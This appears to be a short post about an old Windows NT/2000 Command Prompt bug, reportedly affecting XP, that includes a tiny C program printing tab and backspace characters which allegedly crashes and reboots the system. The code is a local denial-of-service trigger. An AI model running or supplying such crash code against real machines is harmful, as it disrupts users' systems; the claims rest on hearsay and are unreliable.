The bug documented in SecurityFocus | Bugtraq | another fatal bug in NT/2000 "Command Prompt" I/O thread affects XP too by all accounts. According to a colleague - thanks Tim. Don't try the following unless you wan't to reboot XP and viciously so - no error, no BSOD, just a big black screen!:

#include <stdio.h>

void main(void)
{
    for(int i = 0; i < 5 ; i++) printf("t\tb\bb");
}
